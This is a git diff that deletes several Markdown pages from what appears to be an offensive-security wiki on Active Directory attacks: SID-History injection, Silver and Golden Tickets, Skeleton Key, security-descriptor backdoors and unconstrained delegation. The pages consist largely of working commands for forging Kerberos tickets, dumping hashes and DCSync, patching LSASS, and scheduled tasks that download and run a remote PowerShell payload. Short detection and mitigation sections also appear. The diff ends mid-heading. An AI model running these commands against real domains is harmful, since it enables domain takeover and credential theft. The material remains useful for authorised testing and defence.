diff --git a/src/windows-hardening/active-directory-methodology/security-descriptors.md b/src/windows-hardening/active-directory-methodology/security-descriptors.md
deleted file mode 100644
index d99287a4b58..00000000000
--- a/src/windows-hardening/active-directory-methodology/security-descriptors.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# Security Descriptors
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Security Descriptors
-
-[From the docs](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language): Security Descriptor Definition Language (SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;`
-
-The **security descriptors** are used to **store** the **permissions** an **object** has **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
-
-Then, this persistence technique is based on the ability to win every privilege needed against certain objects, to be able to perform a task that usually requires admin privileges but without the need of being admin.
-
-### Access to WMI
-
-You can give a user access to **execute remotely WMI** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1):
-
-```bash
-Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose
-Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove
-```
-
-### Access to WinRM
-
-Give access to **winrm PS console to a user** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:**
-
-```bash
-Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
-Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove
-```
-
-### Remote access to hashes
-
-Access the **registry** and **dump hashes** creating a **Reg backdoor using** [**DAMP**](https://github.com/HarmJ0y/DAMP)**,** so you can at any moment retrieve the **hash of the computer**, the **SAM** and any **cached AD** credential in the computer. So, it's very useful to give this permission to a **regular user against a Domain Controller computer**:
-
-```bash
-# allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials.
-Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
-
-# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local machine account hash for the specified machine.
-Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
-
-# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local SAM account hashes for the specified machine.
-Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
-
-# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine.
-Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose
-```
-
-Check [**Silver Tickets**](silver-ticket.md) to learn how you could use the hash of the computer account of a Domain Controller.
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md
deleted file mode 100644
index 217116af324..00000000000
--- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md
+++ /dev/null
@@ -1,164 +0,0 @@
-# SID-History Injection
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## SID History Injection Attack
-
-The focus of the **SID History Injection Attack** is aiding **user migration between domains** while ensuring continued access to resources from the former domain. This is accomplished by **incorporating the user's previous Security Identifier (SID) into the SID History** of their new account. Notably, this process can be manipulated to grant unauthorized access by adding the SID of a high-privilege group (such as Enterprise Admins or Domain Admins) from the parent domain to the SID History. This exploitation confers access to all resources within the parent domain.
-
-Two methods exist for executing this attack: through the creation of either a **Golden Ticket** or a **Diamond Ticket**.
-
-To pinpoint the SID for the **"Enterprise Admins"** group, one must first locate the SID of the root domain. Following the identification, the Enterprise Admins group SID can be constructed by appending `-519` to the root domain's SID. For instance, if the root domain SID is `S-1-5-21-280534878-1496970234-700767426`, the resulting SID for the "Enterprise Admins" group would be `S-1-5-21-280534878-1496970234-700767426-519`.
-
-You could also use the **Domain Admins** groups, which ends in **512**.
-
-Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with:
-
-```bash
-Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
-```
-
-
-> [!WARNING]
-> Note that it's possible to disable SID history in a trust relationship which will make this attack fail.
-
-According to the [**docs**](https://technet.microsoft.com/library/cc835085.aspx):
-- **Disabling SIDHistory on forest trusts** using the netdom tool (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`)
-- **Applying SID Filter Quarantining to external trusts** using the netdom tool (`netdom trust /domain: /quarantine:yes on the domain controller`)
-- **Applying SID Filtering to domain trusts within a single forest** is not recommended as it is an unsupported configuration and can cause breaking changes. If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust
-
-Check this post for more information about bypassing this: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)
-
-### Diamond Ticket (Rubeus + KRBTGT-AES256)
-
-Last time I tried this I needed to add the arg **`/ldap`**.
-
-```bash
-# Use the /sids param
-Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap
-
-# Or a ptt with a golden ticket
-## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
-## The /printcmd option will print the complete command if later you want to generate a token offline
-Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd
-
-#e.g.
-
-execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd
-
-# You can use "Administrator" as username or any other string
-```
-
-### Golden Ticket (Mimikatz) with KRBTGT-AES256
-
-```bash
-mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
-
-/user is the username to impersonate (could be anything)
-/domain is the current domain.
-/sid is the current domain SID.
-/sids is the SID of the target group to add ourselves to.
-/aes256 is the AES256 key of the current domain's krbtgt account.
---> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
-/startoffset sets the start time of the ticket to 10 mins before the current time.
-/endin sets the expiry date for the ticket to 60 mins.
-/renewmax sets how long the ticket can be valid for if renewed.
-
-# The previous command will generate a file called ticket.kirbi
-# Just loading you can perform a dcsync attack agains the domain
-```
-
-For more info about golden tickets check:
-
-
-{{#ref}}
-golden-ticket.md
-{{#endref}}
-
-
-For more info about diamond tickets check:
-
-
-{{#ref}}
-diamond-ticket.md
-{{#endref}}
-
-```bash
-.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
-.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
-ls \\mcorp-dc.moneycorp.local\c$
-```
-
-Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:
-
-```bash
-Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
-
-Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
-
-gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
-
-schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
-
-schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
-```
-
-With the acquired permissions from the attack you can execute for example a DCSync attack in the new domain:
-
-
-{{#ref}}
-dcsync.md
-{{#endref}}
-
-### From linux
-
-#### Manual with [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
-
-```bash
-# This is for an attack from child to root domain
-# Get child domain SID
-lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
-# Get root domain SID
-lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
-
-# Generate golden ticket
-ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
-
-# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
-# JUST USE THE SAME USERNAME IN THE NEXT STEPS
-
-# Load ticket
-export KRB5CCNAME=hacker.ccache
-
-# psexec in domain controller of root
-psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
-```
-
-#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
-
-This is an Impacket script which will **automate escalating from child to parent domain**. The script needs:
-
-- Target domain controller
-- Creds for an admin user in the child domain
-
-The flow is:
-
-- Obtains the SID for the Enterprise Admins group of the parent domain
-- Retrieves the hash for the KRBTGT account in the child domain
-- Creates a Golden Ticket
-- Logs into the parent domain
-- Retrieves credentials for the Administrator account in the parent domain
-- If the `target-exec` switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.
-
-```bash
-raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
-```
-
-## References
-
-- [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
-- [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md
deleted file mode 100644
index f4e797d3db3..00000000000
--- a/src/windows-hardening/active-directory-methodology/silver-ticket.md
+++ /dev/null
@@ -1,234 +0,0 @@
-# Silver Ticket
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
-## Silver ticket
-
-The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
-
-> [!WARNING]
-> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
-Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
-
-### Modern Kerberos changes (AES-only domains)
-
-- Windows updates starting **8 Nov 2022 (KB5021131)** default service tickets to **AES session keys** when possible and are phasing out RC4. DCs are expected to ship with RC4 **disabled by default by mid‑2026**, so relying on NTLM/RC4 hashes for silver tickets increasingly fails with `KRB_AP_ERR_MODIFIED`. Always extract **AES keys** (`aes256-cts-hmac-sha1-96` / `aes128-cts-hmac-sha1-96`) for the target service account.
-- If the service account `msDS-SupportedEncryptionTypes` is restricted to AES, you must forge with `/aes256` or `-aesKey`; RC4 (`/rc4` or `-nthash`) will not work even if you hold the NTLM hash.
-- gMSA/computer accounts rotate every 30 days; dump the **current AES key** from LSASS, Secretsdump/NTDS, or DCsync before forging.
-- OPSEC: default ticket lifetime in tools is often **10 years**; set realistic durations (e.g., `-duration 600` minutes) to avoid detection by abnormal lifetimes.
-
-For ticket crafting, different tools are employed based on the operating system:
-
-### On Linux
-
-```bash
-# Forge with AES instead of RC4 (supports gMSA/machine accounts)
-python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-  -spn <SERVICE_PRINCIPAL_NAME> <USER>
-# or read key directly from a keytab (useful when only keytab is obtained)
-python ticketer.py -keytab service.keytab -spn <SPN> -domain <DOMAIN> -domain-sid <DOMAIN_SID> <USER>
-
-# shorten validity for stealth
-python ticketer.py -aesKey <AES256_HEX> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-  -spn cifs/<HOST_FQDN> -duration 480 <USER>
-
-export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
-python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
-```
-
-### On Windows
-
-```bash
-# Using Rubeus to request a service ticket and inject (works when you already have a TGT)
-# /ldap option is used to get domain data automatically
-rubeus.exe asktgs /user:<USER> [/aes256:<HASH> /aes128:<HASH> /rc4:<HASH>] \
-  /domain:<DOMAIN> /ldap /service:cifs/<TARGET_FQDN> /ptt /nowrap /printcmd
-
-# Forging the ticket directly with Mimikatz (silver ticket => /service + /target)
-mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
-  /aes256:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"
-# RC4 still works only if the DC and service accept RC4
-mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> \
-  /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET> /ptt"
-
-# Inject an already forged kirbi
-mimikatz.exe "kerberos::ptt <TICKET_FILE>"
-.\Rubeus.exe ptt /ticket:<TICKET_FILE>
-
-# Obtain a shell
-.\PsExec.exe -accepteula \\<TARGET> cmd
-```
-
-The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
-
-### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM
-
-If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM.
-
-```bash
-# Forge a silver ticket for MSSQLSvc (AES example)
-python ticketer.py -aesKey <SQLSVC_AES256> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-  -spn MSSQLSvc/<host.fqdn>:1433 administrator
-export KRB5CCNAME=$PWD/administrator.ccache
-
-# Connect to SQL using Kerberos and run commands via xp_cmdshell
-impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-  -q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
-```
-
-- If the resulting context has SeImpersonatePrivilege (often true for service accounts), use a Potato variant to get SYSTEM:
-
-```bash
-# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
-PrintSpoofer.exe -c "cmd /c whoami"
-# or
-GodPotato -cmd "cmd /c whoami"
-```
-
-More details on abusing MSSQL and enabling xp_cmdshell:
-
-{{#ref}}
-abusing-ad-mssql.md
-{{#endref}}
-
-Potato techniques overview:
-
-{{#ref}}
-../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
-{{#endref}}
-
-## Available Services
-
-| Service Type                               | Service Silver Tickets                                                     |
-| ------------------------------------------ | -------------------------------------------------------------------------- |
-| WMI                                        | <p>HOST</p><p>RPCSS</p>                                                    |
-| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
-| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
-| Scheduled Tasks                            | HOST                                                                       |
-| Windows File Share, also psexec            | CIFS                                                                       |
-| LDAP operations, included DCSync           | LDAP                                                                       |
-| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
-| Golden Tickets                             | krbtgt                                                                     |
-
-Using **Rubeus** you may **ask for all** these tickets using the parameter:
-
-- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
-
-### Silver tickets Event IDs
-
-- 4624: Account Logon
-- 4634: Account Logoff
-- 4672: Admin Logon
-- **No preceding 4768/4769 on the DC** for the same client/service is a common indicator of a forged TGS being presented directly to the service.
-- Abnormally long ticket lifetime or unexpected encryption type (RC4 when domain enforces AES) also stand out in 4769/4624 data.
-
-## Persistence
-
-To avoid machines from rotating their password every 30 days set  `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` or you could set `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` to a bigger value than 30days to indicate the rotation perdiod when the machines password should be rotated.
-
-## Abusing Service tickets
-
-In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
-
-### CIFS
-
-With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
-
-```bash
-dir \\vulnerable.computer\C$
-dir \\vulnerable.computer\ADMIN$
-copy afile.txt \\vulnerable.computer\C$\Windows\Temp
-```
-
-You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**:
-
-
-{{#ref}}
-../lateral-movement/psexec-and-winexec.md
-{{#endref}}
-
-### HOST
-
-With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
-
-```bash
-#Check you have permissions to use schtasks over a remote server
-schtasks /S some.vuln.pc
-#Create scheduled task, first for exe execution, second for powershell reverse shell download
-schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
-schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
-#Check it was successfully created
-schtasks /query /S some.vuln.pc
-#Run created schtask now
-schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
-```
-
-### HOST + RPCSS
-
-With these tickets you can **execute WMI in the victim system**:
-
-```bash
-#Check you have enough privileges
-Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
-#Execute code
-Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
-
-#You can also use wmic
-wmic remote.computer.local list full /format:list
-```
-
-Find **more information about wmiexec** in the following page:
-
-
-{{#ref}}
-../lateral-movement/wmiexec.md
-{{#endref}}
-
-### HOST + WSMAN (WINRM)
-
-With winrm access over a computer you can **access it** and even get a PowerShell:
-
-```bash
-New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
-```
-
-Check the following page to learn **more ways to connect with a remote host using winrm**:
-
-
-{{#ref}}
-../lateral-movement/winrm.md
-{{#endref}}
-
-> [!WARNING]
-> Note that **winrm must be active and listening** on the remote computer to access it.
-
-### LDAP
-
-With this privilege you can dump the DC database using **DCSync**:
-
-```
-mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
-```
-
-**Learn more about DCSync** in the following page:
-
-
-{{#ref}}
-dcsync.md
-{{#endref}}
-
-
-## References
-
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
-- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
-- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
-- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
-- [KB5021131 Kerberos hardening & RC4 deprecation](https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d)
-- [Impacket ticketer.py current options (AES/keytab/duration)](https://kb.offsec.nl/tools/framework/impacket/ticketer-py/)
-
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/skeleton-key.md b/src/windows-hardening/active-directory-methodology/skeleton-key.md
deleted file mode 100644
index 63b2c900eff..00000000000
--- a/src/windows-hardening/active-directory-methodology/skeleton-key.md
+++ /dev/null
@@ -1,58 +0,0 @@
-# Skeleton Key
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Skeleton Key Attack
-
-The **Skeleton Key attack** is a technique that allows attackers to **bypass Active Directory authentication** by **injecting a master password** into the LSASS process of each domain controller. After injection, the master password (default **`mimikatz`**) can be used to authenticate as **any domain user** while their real passwords still work.
-
-Key facts:
-
-- Requires **Domain Admin/SYSTEM + SeDebugPrivilege** on every DC and must be **reapplied after each reboot**.
-- Patches **NTLM** and **Kerberos RC4 (etype 0x17)** validation paths; AES-only realms or accounts enforcing AES will **not accept the skeleton key**.
-- Can conflict with third‑party LSA authentication packages or additional smart‑card / MFA providers.
-- The Mimikatz module accepts the optional switch `/letaes` to avoid touching Kerberos/AES hooks in case of compatibility issues.
-
-### Execution
-
-Classic, non‑PPL protected LSASS:
-
-```text
-mimikatz # privilege::debug
-mimikatz # misc::skeleton
-```
-
-If **LSASS is running as PPL** (RunAsPPL/Credential Guard/Windows 11 Secure LSASS), a kernel driver is needed to remove protection before patching LSASS:
-
-```text
-mimikatz # privilege::debug
-mimikatz # !+
-mimikatz # !processprotect /process:lsass.exe /remove   # drop PPL
-mimikatz # misc::skeleton                               # inject master password 'mimikatz'
-```
-
-After injection, authenticate with any domain account but use password `mimikatz` (or the value set by the operator). Remember to repeat on **all DCs** in multi‑DC environments.
-
-## Mitigations
-
-- **Log monitoring**
-  - System **Event ID 7045** (service/driver install) for unsigned drivers such as `mimidrv.sys`.
-  - **Sysmon**: Event ID 7 (driver load) for `mimidrv.sys`; Event ID 10 for suspicious access to `lsass.exe` from non‑system processes.
-  - Security **Event ID 4673/4611** for sensitive privilege use or LSA authentication package registration anomalies; correlate with unexpected 4624 logons using RC4 (etype 0x17) from DCs.
-- **Hardening LSASS**
-  - Keep **RunAsPPL/Credential Guard/Secure LSASS** enabled on DCs to force attackers into kernel‑mode driver deployment (more telemetry, harder exploitation).
-  - Disable legacy **RC4** where possible; Kerberos tickets limited to AES prevent the RC4 hook path used by the skeleton key.
-- Quick PowerShell hunts:
-  - Detect unsigned kernel driver installs: `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*"}`
-  - Hunt for Mimikatz driver: `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Kernel Mode Driver*" -and $_.message -like "*mimidrv*"}`
-  - Validate PPL is enforced after reboot: `Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "*protected process*"}`
-
-For additional credential‑hardening guidance check [Windows credentials protections](../stealing-credentials/credentials-protections.md).
-
-## References
-
-- [Netwrix – Skeleton Key attack in Active Directory (2022)](https://blog.netwrix.com/2022/11/29/skeleton-key-attack-active-directory/)
-- [TheHacker.recipes – Skeleton key (2026)](https://www.thehacker.recipes/ad/persistence/skeleton-key/)
-- [TheHacker.Tools – Mimikatz misc::skeleton module](https://tools.thehacker.recipes/mimikatz/modules/misc/skeleton)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md
deleted file mode 100644
index 59901570281..00000000000
--- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md
+++ /dev/null
@@ -1,213 +0,0 @@
-# Unconstrained Delegation
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Unconstrained delegation
-
-This a feature that a Domain Administrator can set to any **Computer** inside the domain. Then, anytime a **user logins** onto the Computer, a **copy of the TGT** of that user is going to be **sent inside the TGS** provided by the DC **and saved in memory in LSASS**. So, if you have Administrator privileges on the machine, you will be able to **dump the tickets and impersonate the users** on any machine.
-
-So if a domain admin logins inside a Computer with "Unconstrained Delegation" feature activated, and you have local admin privileges inside that machine, you will be able to dump the ticket and impersonate the Domain Admin anywhere (domain privesc).
-
-You can **find Computer objects with this attribute** checking if the [userAccountControl](<https://msdn.microsoft.com/en-us/library/ms680832(v=vs.85).aspx>) attribute contains [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>). You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what powerview does:
-
-
-```bash
-# List unconstrained computers
-## Powerview
-## A DCs always appear and might be useful to attack a DC from another compromised DC from a different domain (coercing the other DC to authenticate to it)
-Get-DomainComputer –Unconstrained –Properties name
-Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
-
-## ADSearch
-ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
-
-# Export tickets with Mimikatz
-## Access LSASS memory
-privilege::debug
-sekurlsa::tickets /export #Recommended way
-kerberos::list /export #Another way
-
-# Monitor logins and export new tickets
-## Doens't access LSASS memory directly, but uses Windows APIs
-Rubeus.exe dump
-Rubeus.exe monitor /interval:10 [/filteruser:<username>] #Check every 10s for new TGTs
-```
-
-Load the ticket of Administrator (or victim user) in memory with **Mimikatz** or **Rubeus for a** [**Pass the Ticket**](pass-the-ticket.md)**.**\
-More info: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
-[**More information about Unconstrained delegation in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
-
-### **Force Authentication**
-
-If an attacker is able to **compromise a computer allowed for "Unconstrained Delegation"**, he could **trick** a **Print server** to **automatically login** against it **saving a TGT** in the memory of the server.\
-Then, the attacker could perform a **Pass the Ticket attack to impersonate** the user Print server computer account.
-
-To make a print server login against any machine you can use [**SpoolSample**](https://github.com/leechristensen/SpoolSample):
-
-```bash
-.\SpoolSample.exe <printmachine> <unconstrinedmachine>
-```
-
-If the TGT if from a domain controller, you could perform a [**DCSync attack**](acl-persistence-abuse/index.html#dcsync) and obtain all the hashes from the DC.\
-[**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
-
-Find here other ways to **force an authentication:**
-
-
-{{#ref}}
-printers-spooler-service-abuse.md
-{{#endref}}
-
-Any other coercion primitive that makes the victim authenticate with **Kerberos** to your unconstrained-delegation host works too. In modern environments this often means swapping the classic PrinterBug flow for **PetitPotam**, **DFSCoerce**, **ShadowCoerce**, **MS-EVEN**, or **WebClient/WebDAV**-based coercion depending on which RPC surface is reachable.
-
-### Abusing a user/service account with unconstrained delegation
-
-Unconstrained delegation is **not limited to computer objects**. A **user/service account** can also be configured as `TRUSTED_FOR_DELEGATION`. In that scenario, the practical requirement is that the account must receive Kerberos service tickets for an **SPN it owns**.
-
-This leads to 2 very common offensive paths:
-
-1. You compromise the password/hash of the unconstrained-delegation **user account**, then **add an SPN** to that same account.
-2. The account already has one or more SPNs, but one of them points to a **stale/decommissioned hostname**; recreating the missing **DNS A record** is enough to hijack the authentication flow without modifying the SPN set.
-
-Minimal Linux flow:
-
-```bash
-# 1) Find unconstrained-delegation users and their SPNs
-Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties serviceprincipalname | ? {$_.serviceprincipalname}
-findDelegation.py -target-domain <DOMAIN_FQDN> <DOMAIN>/<USER>:'<PASS>'
-
-# 2) If needed, add a listener SPN to the compromised unconstrained user
-python3 addspn.py -u '<DOMAIN>\\svc_kud' -p '<PASS>' \
-  -s 'HOST/kud-listener.<DOMAIN_FQDN>' --target-type samname <DC_IP>
-
-# 3) Make the hostname resolve to your attacker box
-python3 dnstool.py -u '<DOMAIN>\\svc_kud' -p '<PASS>' \
-  -r 'kud-listener.<DOMAIN_FQDN>' -a add -t A -d <ATTACKER_IP> <DC_IP>
-
-# 4) Start krbrelayx with the unconstrained user's Kerberos material
-#    For user accounts, the salt is usually UPPERCASE_REALM + samAccountName
-python3 krbrelayx.py --krbsalt '<DOMAIN_FQDN_UPPERCASE>svc_kud' --krbpass '<PASS>' -dc-ip <DC_IP>
-
-# 5) Coerce the DC/target server to authenticate to the SPN you own
-python3 printerbug.py '<DOMAIN>/svc_kud:<PASS>'@<DC_FQDN> kud-listener.<DOMAIN_FQDN>
-# Or swap the coercion primitive for PetitPotam / DFSCoerce / Coercer if needed
-
-# 6) Reuse the captured ccache for DCSync or lateral movement
-KRB5CCNAME=DC1\\$@<DOMAIN_FQDN>_krbtgt@<DOMAIN_FQDN>.ccache \
-  secretsdump.py -k -no-pass -just-dc <DOMAIN_FQDN>/ -dc-ip <DC_IP>
-```
-
-Notes:
-
-- This is especially useful when the unconstrained principal is a **service account** and you only have its credentials, not code execution on a joined host.
-- If the target user already has a **stale SPN**, recreating the corresponding **DNS record** may be less noisy than writing a new SPN into AD.
-- Recent Linux-centric tradecraft uses `addspn.py`, `dnstool.py`, `krbrelayx.py`, and one coercion primitive; you do not need to touch a Windows host to complete the chain.
-
-### Abusing Unconstrained Delegation with an attacker-created computer
